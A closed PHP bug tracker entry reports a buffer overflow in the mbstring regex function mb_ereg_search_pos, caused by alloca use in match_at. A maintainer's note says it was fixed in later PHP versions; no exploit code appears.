Bug #72970 Buffer overflow at match_at through mb_ereg_search_pos
Submitted: 2016-08-29 23:41 UTC Modified: 2020-11-26 15:35 UTC
From: fernando at null-life dot com Assigned: cmb (profile)
Status: Closed Package: mbstring related
PHP Version: 5.6.25 OS: *
Private report: No CVE-ID: None

Description:
------------
"match_at" function uses "alloca" to reserve memory, big patterns at "mb_ereg_search_pos" cause buffer overflow, and ilegal access memory.

This issue has been fixed in the meantime (at least for PHP 7.3;
oniguruma is unbundled as of PHP 7.4.0).  The script outputs now:

Warning: mb_ereg_search_pos(): mbregex compile err: too many captures in %s on line %d
